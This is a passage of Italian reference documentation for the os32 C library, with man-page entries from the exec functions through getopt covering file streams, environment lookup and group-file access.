Rispetto al gruppo di funzioni '**execl...()**', la funzione ***execle()***, dopo il puntatore nullo che conclude la sequenza di argomenti per il programma da avviare, si attende una sequenza di altre stringhe, anche questa conclusa da un ultimo e definitivo puntatore nullo. Questa ulteriore sequenza di stringhe va a costituire l'ambiente del processo da avviare, pertanto il contenuto di tali stringhe deve essere del tipo '***nome*=*valore***'.

Le funzioni '**execv...()**' hanno come ultimo parametro il puntatore a un array di stringhe, dove ***argv[0]*** deve essere il nome del file da avviare, mentre da ***argv[1]*** in poi, si tratta degli argomenti da passare al programma. Anche in questo caso, per riconoscere l'ultimo elemento di questo array, gli si deve assegnare il puntatore nullo.

Le funzioni ***execlp()*** e ***execvp()***, se ricevono solo il nome del file da eseguire, senza altre indicazioni del percorso, cercano questo file tra i percorsi indicati nella variabile di ambiente ***PATH***, ammesso che sia dichiarata per il processo in corso.

Tutte le funzioni qui descritte, a eccezione di ***execle()***, trasmettono al nuovo processo lo stesso ambiente (le stesse variabili di ambiente) del processo chiamante.

VALORE RESTITUITO

Queste funzioni, se hanno successo nel loro compito, non possono restituire alcunché, dato che in quel momento, il processo chiamante viene rimpiazzato da quello del file che viene eseguito. Pertanto, in caso contrario, queste funzioni possono restituire soltanto

un valore che rappresenta un errore, ovvero -1, aggiornando anche la variabile ***errno*** di conseguenza.

ERRORI

Valore di ***errno***	Significato
`E2BIG`	Ci sono troppi argomenti.
`ENOMEM`	Memoria insufficiente.
`ENOENT`	Il file richiesto non esiste.
`EACCES`	Il file non può essere avviato per la mancanza dei permessi di acceso necessari.
`ENOEXEC`	Il file non può essere un file eseguibile, perché non ne ha le caratteristiche.
`EIO`	Errore di input-output.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/execl.c`' [120.21.10]

'`lib/unistd/execle.c`' [120.21.11]

'`lib/unistd/execlp.c`' [120.21.12]

'`lib/unistd/execv.c`' [120.21.13]

'`lib/unistd/execvp.c`' [120.21.15]

'`lib/unistd/execve.c`' [120.21.14]

VEDERE ANCHE

execve(2) [112.11], *fork(2)* [112.16], *environ(7)* [116.1].

113.21 os32: execl(3)

Vedere *exec(3)* [113.20].

113.22 os32: execle(3)

Vedere *exec(3)* [113.20].

113.23 os32: execlp(3)

Vedere *exec(3)* [113.20].

113.24 os32: execv(3)

Vedere *exec(3)* [113.20].

113.25 os32: execvp(3)

Vedere *exec(3)* [113.20].

113.26 os32: exit(3)

Vedere *atexit(3)* [113.7].

113.27 os32: fclose(3)

NOME

'**fclose**' - chiusura di un flusso di file

SINTASSI

```
#include <stdio.h>
int fclose (FILE *fp);
```

DESCRIZIONE

La funzione ***fclose()*** chiude il flusso di file specificato tramite il puntatore ***fp***. Questa realizzazione particolare di os32, si limita a richiamare la funzione ***close()***, con l'indicazione del descrittore di file corrispondente al flusso.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
'**EOF**'	Errore: la variabile ***errno*** viene impostata di conseguenza.

ERRORI

Valore di ***errno***	Significato
EBADF	Il descrittore di file associato al flusso da chiudere, non è valido.

FILE SORGENTI

'lib/stdio.h' [120.12]

'lib/stdio/fclose.c' [120.12.3]

VEDERE ANCHE

close(2) [112.8], *fopen(3)* [113.35], *stdio(3)* [113.105].

113.28 os32: feof(3)

NOME

'**feof**' - verifica dello stato dell'indicatore di fine file

SINTASSI

```
#include <stdio.h>
int feof (FILE *fp);
```

DESCRIZIONE

La funzione ***feof()*** restituisce il valore dell'indicatore di fine file, riferito al flusso di file rappresentato da ***fp***.

VALORE RESTITUITO

Valore	Significato
diverso da zero	Significa che l'indicatore di fine file è impostato.
0	Significa che l'indicatore di fine file non è impostato.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/feof.c`' [120.12.4]

VEDERE ANCHE

clearerr(3) [113.11], *ferror(3)* [113.29], *fileno(3)* [113.34], *stdio(3)* [113.105].

113.29 os32: ferror(3)

NOME

'**ferror**' - verifica dello stato dell'indicatore di errore

SINTASSI

```
#include <stdio.h>
int ferror (FILE *fp);
```

DESCRIZIONE

La funzione ***ferror()*** restituisce il valore dell'indicatore di errore, riferito al flusso di file rappresentato da ***fp***.

VALORE RESTITUITO

Valore	Significato
diverso da zero	Significa che l'indicatore di errore è impostato.
0	Significa che l'indicatore di errore non è impostato.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/ferror.c`' [120.12.5]

VEDERE ANCHE

clearerr(3) [113.11], *feof(3)* [113.28], *fileno(3)* [113.34], *stdio(3)* [113.105].

113.30 os32: fflush(3)

NOME

'**`fflush`**' - fissaggio dei dati ancora sospesi nella memoria tampone

SINTASSI

```
#include <stdio.h>
int fflush (FILE *fp);
```

DESCRIZIONE

La funzione ***fflush()*** di os32, non fa alcunché, dato che non è prevista alcuna gestione della memoria tampone per i flussi di file.

VALORE RESTITUITO

Valore	Significato
0	Rappresenta il successo dell'operazione.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/fflush.c`' [120.12.6]

VEDERE ANCHE

fclose(3) [113.27], *fopen(3)* [113.35].

113.31 os32: fgetc(3)

NOME

'**`fgetc`**', '**`getc`**', '**`getchar`**' - lettura di un carattere da un flusso di file

SINTASSI

```
#include <stdio.h>
int fgetc   (FILE *fp);
int getc    (FILE *fp);
int getchar (void);
```

DESCRIZIONE

Le funzioni ***fgetc()*** e ***getc()*** sono equivalenti e leggono il carattere successivo dal flusso di file rappresentato da ***fp***. La funzione ***getchar()*** esegue la lettura di un carattere, ma dallo standard input.

VALORE RESTITUITO

In caso di successo, il carattere letto viene restituito in forma di intero positivo (il carattere viene inteso inizialmente senza segno, quindi viene trasformato in un intero, il quale rappresenta così un valore positivo). Se la lettura non può avere luogo, la funzione restituisce '**`EOF`**', corrispondente a un valore negativo.

ERRORI

La variabile ***errno*** potrebbe risultare aggiornata nel caso la funzione restituisca '**`EOF`**'. Ma per saperlo, occorre azzerare la variabile ***errno*** prima della chiamata di ***fgetc()***.

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file associato al flusso da cui leggere un carattere, non è valido.
`EINVAL`	Il descrittore di file associato al flusso da cui leggere un carattere, non consente un accesso in lettura.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/fgetc.c`' [120.12.7]

'`lib/stdio/getchar.c`' [120.12.24]

VEDERE ANCHE

fgets(3) [113.33], *gets(3)* [113.33].

113.32 os32: fgetpos(3)

NOME

'**`fgetpos`**', '**`fsetpos`**' - lettura e impostazione della posizione corrente di un flusso di file

SINTASSI

```
#include <stdio.h>
int fgetpos (FILE *restrict fp, fpos_t *restrict pos);
int fsetpos (FILE *restrict fp, fpos_t *restrict pos);
```

DESCRIZIONE

Le funzioni ***fgetpos()*** e ***fsetpos()***, rispettivamente, leggono o impostano la posizione corrente di un flusso di file.

Per os32, il tipo '**`fpos_t`**' è dichiarato nel file '`stdio.h`' come equivalente al tipo '**`off_t`**' (file '`sys/types.h`'); tuttavia, la modifica di una variabile di tipo '**`fpos_t`**'

va fatta utilizzando una funzione apposita, perché lo standard consente che possa trattarsi anche di una variabile strutturata, i cui membri non sono noti.

L'uso della funzione ***fgetpos()*** comporta una modifica dell'informazione contenuta all'interno di ****pos***, mentre la funzione ***fsetpos()*** usa il valore contenuto in ****pos*** per cambiare la posizione corrente del flusso di file. In pratica, si può usare ***fsetpos()*** solo dopo aver salvato una certa posizione con l'aiuto di ***fgetpos()***.

Si comprende che il valore restituito dalle funzioni è solo un indice del successo o meno dell'operazione, dato che l'informazione sulla posizione viene ottenuta dalla modifica di una variabile di cui si fornisce il puntatore negli argomenti.

VALORE RESTITUITO

Valore	Significato
0	Rappresenta il successo dell'operazione.
−1	Indica il verificarsi di un errore, il quale può essere interpretato leggendo la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file associato al flusso, non è valido.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/fgetpos.c`' [120.12.8]

'`lib/stdio/fsetpos.c`' [120.12.20]

VEDERE ANCHE

fseek(3) [113.43], *ftell(3)* [113.46], *rewind(3)* [113.93].

113.33 os32: fgets(3)

NOME

'**`fgets`**', '**`gets`**' - lettura di una stringa da un flusso di file

SINTASSI

```
#include <stdio.h>
char *fgets (char *restrict string, int n, FILE *restrict fp);
char *gets  (char *string);
```

DESCRIZIONE

La funzione ***fgets()*** legge una «riga» dal flusso di file ***fp***, purché non più lunga di ***n***−1 caratteri, collocandola a partire da ciò a cui punta ***stringa***. La lettura termina al raggiungimento del carattere '**`\n`**' (*new line*), oppure alla fine del file, oppure a ***n***−1 caratteri. In ogni caso, viene aggiunto al termine, il codice nullo di terminazione di stringa: '**`\0`**'.

La funzione ***gets()***, in modo analogo a ***fgets()***, legge una riga dallo standard input, ma senza poter porre un limite massimo alla lunghezza della lettura.

VALORE RESTITUITO

In caso di successo, viene restituito il puntatore alla stringa contenente la riga letta, ovvero restituiscono ***string***. In caso di errore, o comunque in caso di una lettura nulla, si ottiene '**`NULL`**'. La variabile ***errno*** viene aggiornata solo se si presenta un errore di accesso al file, mentre una lettura nulla, perché il flusso si è concluso, non comporta tale aggiornamento.

ERRORI

La variabile ***errno*** potrebbe risultare aggiornata nel caso le funzioni restituiscano '**`NULL`**'. Ma per saperlo, occorre azzerare la variabile ***errno*** prima della chiamata di queste.

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file associato al flusso da cui leggere un carattere, non è valido.
`EINVAL`	Il descrittore di file associato al flusso da cui leggere un carattere, non consente un accesso in lettura.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/fgets.c`' [120.12.9]

'`lib/stdio/gets.c`' [120.12.25]

VEDERE ANCHE

fgetc(3) [113.31], *getc(3)* [113.31].

113.34 os32: fileno(3)

NOME

'**`fileno`**' - traduzione di un flusso di file nel numero di descrittore corrispondente

SINTASSI

```
#include <stdio.h>
int fileno (FILE *fp);
```

DESCRIZIONE

La funzione ***fileno()*** traduce il flusso di file, rappresentato da ***fp***, nel numero del descrittore corrispondente. Tuttavia, il risultato è valido solo se il flusso di file specificato è aperto effettivamente.

VALORE RESTITUITO

Se ***fp*** punta effettivamente a un flusso di file aperto, il valore restituito corrisponde al numero di descrittore del file stesso; diversamente, si potrebbe ottenere un numero privo di senso. Se come argomento si indica il puntatore nullo, si ottiene un errore, rappresentato dal valore -1.

ERRORI

Valore di *errno*	Significato
`EBADF`	È stato richiesto di risolvere il puntatore nullo.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/FILE.c`' [120.12.1]

'`lib/stdio/fileno.c`' [120.12.10]

VEDERE ANCHE

clearerr(3) [113.11], *feof(3)* [113.28], *ferror(3)* [113.29], *stdio(3)* [113.105].

113.35 os32: fopen(3)

NOME

'**`fopen`**', '**`freopen`**' - apertura di un flusso di file

SINTASSI

```
#include <stdio.h>
FILE *fopen   (const char *path, const char *mode);
FILE *freopen (const char *restrict path, const char *restrict mode,
               FILE *restrict fp);
```

DESCRIZIONE

La funzione ***fopen()*** apre il file indicato nella stringa a cui punta ***path***, secondo le modalità di accesso contenute in ***mode***, associandovi un flusso di file. In modo analogo agisce anche la funzione ***freopen()***, la quale però, prima, chiude il flusso ***fp***.

La modalità di accesso al file si specifica attraverso una stringa, come sintetizzato dalla tabella successiva.

mode	Significato
"r" "rb"	Si richiede un accesso in lettura, di un file già esistente. L'indice interno per l'accesso ai dati viene posizionato all'inizio del file.
"r+" "r+b" "rb+"	Si richiede un accesso in lettura e scrittura, di un file già esistente. L'indice interno per l'accesso ai dati viene posizionato all'inizio del file.
"w" "wb"	Si richiede un accesso in scrittura, di un file che viene troncato se esiste oppure viene creato. L'indice interno per l'accesso ai dati viene posizionato all'inizio del file.
"w+" "w+b" "wb+"	Si richiede un accesso in lettura e scrittura, di un file che viene troncato se esiste oppure viene creato. L'indice interno per l'accesso ai dati viene posizionato all'inizio del file.
"a" "ab"	Si richiede la creazione o il troncamento di un file, con accesso in aggiunta. L'indice interno per l'accesso ai dati viene posizionato alla fine del file, prima di ogni operazione di scrittura.
"a+" "a+b" "ab+"	Si richiede la creazione o il troncamento di un file, con accesso in lettura e scrittura. L'indice interno per l'accesso ai dati viene posizionato alla fine del file, prima di ogni operazione di scrittura.

VALORE RESTITUITO

Se l'operazione si conclude con successo, viene restituito il puntatore a ciò che rappresenta il flusso di file aperto. Se però si ottiene un puntatore nullo ('**NULL**'), si è verificato un errore che può essere interpretato dal contenuto della variabile ***errno***.

ERRORI

Valore di *errno*	Significato
EINVAL	È stato fornito un argomento non valido.
EPERM	Operazione non consentita.
EACCES	Accesso non consentito.
ENOENT	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
EROFS	Avendo richiesto un accesso in scrittura, si ottiene che il file system che lo contiene consente soltanto un accesso in lettura.
ENOTDIR	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
ENFILE	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
EMFILE	Non si possono aprire altri file nell'ambito del processo in corso.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/FILE.c`' [120.12.1]

'`lib/stdio/fopen.c`' [120.12.11]

'`lib/stdio/freopen.c`' [120.12.16]

VEDERE ANCHE

open(2) [112.32], *fclose(3)* [113.27], *stdio(3)* [113.105].

113.36 os32: fprintf(3)

Vedere *printf(3)* [113.84].

113.37 os32: fputc(3)

NOME

'**`fputc`**', '**`putc`**', '**`putchar`**' - emissione di un carattere attraverso un flusso di file

SINTASSI

```
#include <stdio.h>
int fputc   (int c, FILE *fp);
int putc    (int c, FILE *fp);
int putchar (int c);
```

DESCRIZIONE

Le funzioni ***fputc()*** e ***putc()*** sono equivalenti e scrivono il carattere ***c*** nel flusso di file rappresentato da ***fp***. La funzione ***putchar()*** esegue la scrittura di un carattere, ma nello standard output.

VALORE RESTITUITO

In caso di successo, il carattere scritto viene restituito in forma di intero positivo (il carattere viene inteso inizialmente senza segno, quindi viene trasformato in un intero, il quale rappresenta così un valore positivo). Se la scrittura non può avere luogo, la funzione restituisce '**`EOF`**', corrispondente a un valore negativo.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file associato al flusso presso cui scrivere un carattere, non è valido.
`EINVAL`	Il descrittore di file associato al flusso presso cui scrivere un carattere, non consente un accesso in scrittura.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/fputc.c`' [120.12.13]

VEDERE ANCHE

fputs(3) [113.38], *puts(3)* [113.38].

113.38 os32: fputs(3)

NOME

'**fputs**', '**puts**' - scrittura di una stringa attraverso un flusso di file

SINTASSI

```
#include <stdio.h>
int fputs (const char *restrict string, FILE *restrict fp);
int puts  (const char *string);
```

DESCRIZIONE

La funzione ***fputs()*** scrive una stringa nel flusso di file ***fp***, ma senza il carattere nullo di terminazione; la funzione ***puts()*** scrive una stringa, aggiungendo anche il codice di terminazione '**\n**', attraverso lo standard output.

VALORE RESTITUITO

Valore	Significato
≥ 0	Rappresenta il successo dell'operazione.
'**EOF**'	Indica il verificarsi di un errore, il quale può essere interpretato eventualmente leggendo la variabile ***errno***.

ERRORI

La variabile ***errno*** potrebbe risultare aggiornata nel caso le funzioni restituiscano '**NULL**'. Ma per saperlo, occorre azzerare la variabile ***errno*** prima della chiamata di queste.

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file associato al flusso verso cui si deve scrivere, non è valido.
`EINVAL`	Il descrittore di file associato al flusso verso cui si deve scrivere, non consente un accesso in scrittura.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/fputs.c`' [120.12.14]

'`lib/stdio/puts.c`' [120.12.29]

VEDERE ANCHE

fputc(3) [113.37], *putc(3)* [113.37], *putchar(3)* [113.37].

113.39 os32: fread(3)

NOME

'**`fread`**' - lettura di dati da un flusso di file

SINTASSI

```
#include <stdio.h>
size_t fread (void *restrict buffer, size_t size, size_t nmemb,
              FILE *restrict fp);
```

DESCRIZIONE

La funzione ***fread()*** legge ***size***×***nmemb*** byte dal flusso di file ***fp***, trascrivendoli in memoria a partire dall'indirizzo a cui punta ***buffer***.

VALORE RESTITUITO

La funzione restituisce la quantità di byte letta, diviso la dimensione del blocco ***nmemb*** (byte/***nmemb***). Se il valore ottenuto è inferiore a quello richiesto, occorre verificare eventualmente se ciò deriva dalla conclusione del file o da un errore, con l'aiuto di *feof(3)* [113.28] e di *ferror(3)* [113.29].

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/fread.c`' [120.12.15]

VEDERE ANCHE

read(2) [112.34], *write(2)* [112.54], *feof(3)* [113.28], *ferror(3)* [113.29], *fwrite(3)* [113.48].

113.40 os32: free(3)

Vedere *malloc(3)* [113.71].

113.41 os32: freopen(3)

Vedere *fopen(3)* [113.35].

113.42 os32: fscanf(3)

Vedere *scanf(3)* [113.95].

113.43 os32: fseek(3)

NOME

'**fseek**', '**fseeko**' - riposizionamento dell'indice di accesso di un flusso di file

SINTASSI

```
#include <stdio.h>
int fseek  (FILE *fp, long int offset, int whence);
int fseeko (FILE *fp, off_t offset, int whence);
```

DESCRIZIONE

Le funzioni *fseek()* e *fseeko()* cambiano l'indice della posizione interna a un flusso di file, specificato dal parametro *fp*. L'indice viene collocato secondo lo scostamento rappresentato da *offset*, rispetto al riferimento costituito dal parametro *whence*. Il parametro *whence* può assumere solo tre valori, come descritto nello schema successivo.

Valore di *whence*	Significato
`SEEK_SET`	lo scostamento si riferisce all'inizio del file.
`SEEK_CUR`	lo scostamento si riferisce alla posizione che ha già l'indice interno al file.
`SEEK_END`	lo scostamento si riferisce alla fine del file.

La differenza tra le due funzioni sta solo nel tipo del parametro *offset*, il quale, da '**long int**' passa a '**off_t**'.

VALORE RESTITUITO

Valore	Significato
0	Rappresenta il successo dell'operazione.
−1	Indica il verificarsi di un errore, il quale può essere interpretato leggendo la variabile *errno*.

ERRORI

Valore di *errno*	Significato
`EBADF`	Il descrittore di file associato al flusso, non è valido.
`EINVAL`	Gli argomenti non sono validi, come succede se la combinazione di scostamento e riferimento non è ammissibile (per esempio uno scostamento negativo, quando il riferimento è l'inizio del file).

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/FILE.c`' [120.12.1]

'`lib/stdio/fseek.c`' [120.12.18]

VEDERE ANCHE

lseek(2) [112.28], *fgetpos(3)* [113.32], *fsetpos(3)* [113.32], *ftell(3)* [113.46], *rewind(3)* [113.93].

113.44 os32: fseeko(3)

Vedere *fseek(3)* [113.43].

113.45 os32: fsetpos(3)

Vedere *fgetpos(3)* [113.32].

113.46 os32: ftell(3)

NOME

'**ftell**', '**ftello**' - interrogazione dell'indice di accesso relativo a un flusso di file

SINTASSI

```
#include <stdio.h>
long int ftell  (FILE *fp);
off_t    ftello (FILE *fp);
```

DESCRIZIONE

Le funzioni ***ftell()*** e ***ftello()*** restituiscono il valore dell'indice interno di accesso al file specificato in forma di flusso, con il parametro ***fp***. La differenza tra le due funzioni consiste nel tipo restituito, il quale, nel primo caso è '**long int**', mentre nel secondo è '**off_t**'. L'indice ottenuto è riferito all'inizio del file.

VALORE RESTITUITO

Valore	Significato
≥ 0	Rappresenta l'indice interno al file.
-1	Indica il verificarsi di un errore, il quale può essere interpretato leggendo la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file associato al flusso, non è valido.
`EINVAL`	Il flusso di file specificato non è valido.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/FILE.c`' [120.12.1]

'`lib/stdio/ftell.c`' [120.12.21]

'`lib/stdio/ftello.c`' [120.12.22]

VEDERE ANCHE

lseek(2) [112.28], *fgetpos(3)* [113.32], *fsetpos(3)* [113.32], *ftell(3)* [113.43], *rewind(3)* [113.93].

113.47 os32: ftello(3)

Vedere *ftell(3)* [113.46].

113.48 os32: fwrite(3)

NOME

'**fwrite**' - scrittura attraverso un flusso di file

SINTASSI

```
#include <stdio.h>
size_t fwrite (const void *restrict buffer, size_t size, size_t nmemb,
               FILE *restrict fp);
```

DESCRIZIONE

La funzione ***fwrite()*** scrive ***size***×***nmemb*** byte nel flusso di file ***fp***, traendoli dalla memoria, a partire dall'indirizzo a cui punta ***buffer***.

VALORE RESTITUITO

La funzione restituisce la quantità di byte scritta, diviso la dimensione del blocco rappresentato da ***nmemb*** (byte/***nmemb***). Se il valore ottenuto è inferiore a quello richiesto, si tratta presumibilmente di un errore, ma per accertarsene conviene usare *ferror(3)* [113.29].

FILE SORGENTI

'lib/stdio.h' [120.12]

'lib/stdio/fwrite.c' [120.12.23]

VEDERE ANCHE

read(2) [112.34], *write(2)* [112.54], *feof(3)* [113.28], *ferror(3)* [113.29], *fread(3)* [113.39].

113.49 os32: getc(3)

Vedere *fgetc(3)* [113.31].

113.50 os32: getchar(3)

Vedere *fgetc(3)* [113.31].

113.51 os32: getenv(3)

NOME

'**getenv**' - lettura del valore di una variabile di ambiente

SINTASSI

```
#include <stdlib.h>
char *getenv (const char *name);
```

DESCRIZIONE

La funzione ***getenv()*** richiede come argomento una stringa contenente il nome di una variabile di ambiente, per poter restituire la stringa che rappresenta il contenuto di tale variabile.

VALORE RESTITUITO

Il puntatore alla stringa con il contenuto della variabile di ambiente richiesta, oppure il puntatore nullo ('**NULL**'), se la variabile in questione non esiste.

FILE SORGENTI

'lib/stdlib.h' [120.13]

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'lib/stdlib/environment.c' [120.13.8]

'lib/stdlib/getenv.c' [120.13.10]

VEDERE ANCHE

environ(7) [116.1], *putenv(3)* [113.87], *setenv(3)* [113.97], *unsetenv(3)* [113.97].

113.52 os32: getgrent(3)

NOME

'**getgrent**', '**setgrent**', '**endgrent**' - accesso alle voci del file '/etc/group'

SINTASSI

```
#include <sys/types.h>
#include <grp.h>
struct group *getgrent (void);
void          setgrent (void);
void          endgrent (void);
```

DESCRIZIONE

La funzione ***getgrent()*** restituisce il puntatore a una variabile strutturata, di tipo '**`struct group`**', come definito nel file '`grp.h`', in cui si possono trovare le stesse informazioni contenute nelle voci (righe) del file '`/etc/group`', separate in campi. La prima volta, nella variabile struttura a cui punta la funzione si ottiene il contenuto della prima voce, ovvero del primo utente dell'elenco; nelle chiamate successive si ottengono le altre.

Si utilizza la funzione ***setgrent()*** per ripartire dalla prima voce del file '`/etc/group`'; si utilizza invece la funzione ***endgrent()*** per chiudere il file '`/etc/group`' quando non serve più.

Il tipo '**`struct group`**' è definito nel file '`grp.h`' nel modo seguente:

```
struct group {
    char  *gr_name;
    char  *gr_passwd;
    gid_t  gr_gid;
    char  *gr_mem[];
};
```

La sequenza dei membri della struttura corrisponde a quella dei campi delle righe del file '`/etc/group`'; in particolare, l'ultimo membro raccoglie i riferimenti alle stringhe che descrivono i nomi degli utenti aggregati al gruppo.

VALORE RESTITUITO

La funzione ***getgrent()*** restituisce il puntatore a una variabile strutturata di tipo '**`struct group`**', se l'operazione ha avuto successo. Se la scansione del file '`/etc/group`' ha raggiunto il termine, oppure se si è verificato un errore, restituisce invece il valore '**`NULL`**'. Per poter distinguere tra la conclusione del file o il verificarsi di un errore, prima della chiamata della funzione occorre azzerare il valore della variabile ***errno***, verificando successivamente se ha acquisito un valore differente.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`ENOTDIR`	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
`ENFILE`	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
`EMFILE`	Non si possono aprire altri file nell'ambito del processo in corso.

DIFETTI

Nel file '`/etc/group`' non è possibile lasciare campi vuoti, a parte l'ultimo, anche se questi non sono usati, perché la scansione avviene con la funzione ***strtok()***. Pertanto, ben-

ché il campo della parola d'ordine non sia usato con os32, occorre metterci ugualmente qualcosa.

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/pwd.h`' [120.9]

'`lib/grp/grent.c`' [120.6.1]

VEDERE ANCHE

getgrnam(3) [113.53], *getgrgid(3)* [113.53], *group(5)* [115.1].

113.53 os32: getgrnam(3)

NOME

'**`getgrnam`**', '**`getgrgid`**' - selezione di una voce dal file '`/etc/passwd`'

SINTASSI

```
#include <sys/types.h>
#include <grp.h>
struct group *getgrnam (const char *name);
struct group *getrggid (gid_t gid);
```

DESCRIZIONE

La funzione ***getgrnam()*** restituisce il puntatore a una variabile strutturata, di tipo '**`struct group`**', come definito nel file '`grp.h`', contenente le informazioni sul gruppo specificato per nome, dal '`/etc/group`'. La funzione ***getgrgid()*** si comporta in modo analogo, individuando però il gruppo da selezionare in base al numero GID.

Il tipo '**`struct group`**' è definito nel file '`grp.h`' nel modo seguente:

```
struct group {
    char   *gr_name;
    char   *gr_passwd;
    gid_t   gr_gid;
    char   *gr_mem[];
};
```

La sequenza dei membri della struttura corrisponde a quella dei campi delle righe del file '`/etc/group`'; in particolare, l'ultimo membro raccoglie i riferimenti alle stringhe che descrivono i nomi degli utenti aggregati al gruppo.

VALORE RESTITUITO

Le funzioni ***getgrnam()*** e ***getgrgid()*** restituiscono il puntatore a una variabile strutturata di tipo '**`struct group`**', se l'operazione ha avuto successo. Se il nome o il numero del gruppo non si trovano nel file '`/etc/group`', oppure se si presenta un errore, il valore restituito è '**`NULL`**'. Per poter distinguere tra una voce non trovata o il verificarsi di un errore di accesso al file '`/etc/group`', prima della chiamata della funzione occorre

azzerare il valore della variabile ***errno***, verificando successivamente se ha acquisito un valore differente.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`ENOTDIR`	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
`ENFILE`	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
`EMFILE`	Non si possono aprire altri file nell'ambito del processo in corso.

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/grp.h`' [120.6]

'`lib/grp/grent.c`' [120.6.1]

VEDERE ANCHE

getgrent(3) [113.52], *setgrent(3)* [113.52], *endgrent(3)* [113.52], *group(5)* [115.1].

113.54 os32: getpwuid(3)

Vedere *getgrnam(3)* [113.53].

113.55 os32: getopt(3)

NOME

'**`getopt`**' - scansione delle opzioni della riga di comando

SINTASSI

```
#include <unistd.h>
extern *char optarg;
extern int   optind;
extern int   opterr;
extern int   optopt;
int getopt (int argc, char *const argv[], const char *optstring);
```

DESCRIZIONE

La funzione ***getopt()*** riceve, come primi due argomenti, gli stessi parametri ***argc*** e ***argv[]***, che sono già della funzione ***main()*** del programma in cui ***getopt()*** si usa. In altri termini, ***getopt()*** deve conoscere la quantità degli argomenti usati per l'avvio del programma e deve poterli scandire. L'ultimo argomento di ***getopt()*** è una stringa contenente l'elenco delle lettere delle opzioni che ci si attende di trovare nella scansione delle stringhe dell'array ***argv[]***, con altre sigle eventuali per sapere se tali opzioni sono singole o si attendono un proprio argomento.

Per poter usare la funzione ***getopt()*** proficuamente, è necessario che la sintassi di utilizzo del programma del quale si vuole scandire la riga di comando, sia uniforme con l'uso comune:

programma [−***x*** [***argomento***]]... [***argomento***]...

Pertanto, dopo il nome del programma possono esserci delle opzioni, riconoscibili perché composte da una sola lettera, preceduta da un trattino. Tali opzioni potrebbero richiedere un proprio argomento. Dopo le opzioni e i relativi argomenti, ci possono essere altri argomenti, al di fuori della competenza di ***getopt()***. Vale anche la considerazione che più opzioni, prive di argomento, possono essere unite assieme in un'unica parola, con un solo trattino iniziale.

La funzione ***getopt()*** si avvale di variabili pubbliche, di cui occorre conoscere lo scopo.

La variabile ***optind*** viene usata da ***getopt()*** come indice per scandire l'array ***argv[]***. Quando con gli utilizzi successivi di ***optarg()*** si determina che è stata completata la scansione delle opzioni (in quanto ***optarg()*** restituisce il valore −1), la variabile ***optind*** diventa utile per conoscere qual è il prossimo elemento di ***argv[]*** da prendere in considerazione, trattandosi del primo argomento della riga di comando che non è un'opzione.

La variabile ***opterr*** serve per configurare il comportamento di ***getopt()***. Questa variabile contiene inizialmente il valore 1. Quando ***getopt()*** incontra un'opzione per la quale si richiede un argomento, il quale risulta però mancante, se la variabile ***opterr*** risulta avere un valore diverso da zero, visualizza un messaggio di errore attraverso lo standard error. Pertanto, per evitare tale visualizzazione, è sufficiente assegnare preventivamente il valore zero alla variabile ***opterr***.

Quando un'opzione individuata da ***getopt()*** risulta errata per qualche ragione (perché non prevista o perché si attende un argomento che invece non c'è), la variabile ***optopt*** riceve il valore (tradotto da carattere senza segno a intero) della lettera corrispondente a quell'opzione. Pertanto, in tal modo è possibile conoscere cosa ha provocato il problema.

Il puntatore ***optarg*** viene modificato quando ***getopt()*** incontra un'opzione che chiede un argomento. In tal caso, ***optarg*** viene modificato in modo da puntare alla stringa che rappresenta tale argomento.

La compilazione della stringa corrispondente a ***optstring*** deve avvenire secondo una sintassi precisa:

[:] [***x***[:]]...

La stringa ***optstring*** può iniziare con un simbolo di due punti, quindi seguono le lettere che rappresentano le opzioni possibili, tenendo conto che quelle per cui si attende un

argomento devono anche essere seguite da due punti. Per esempio, '**ab:cd:**' significa che ci può essere un'opzione '**-a**', un'opzione '**-b**' seguita da un argomento, un'opzione '**-c**' e un'opzione '**-d**' seguita da un argomento.

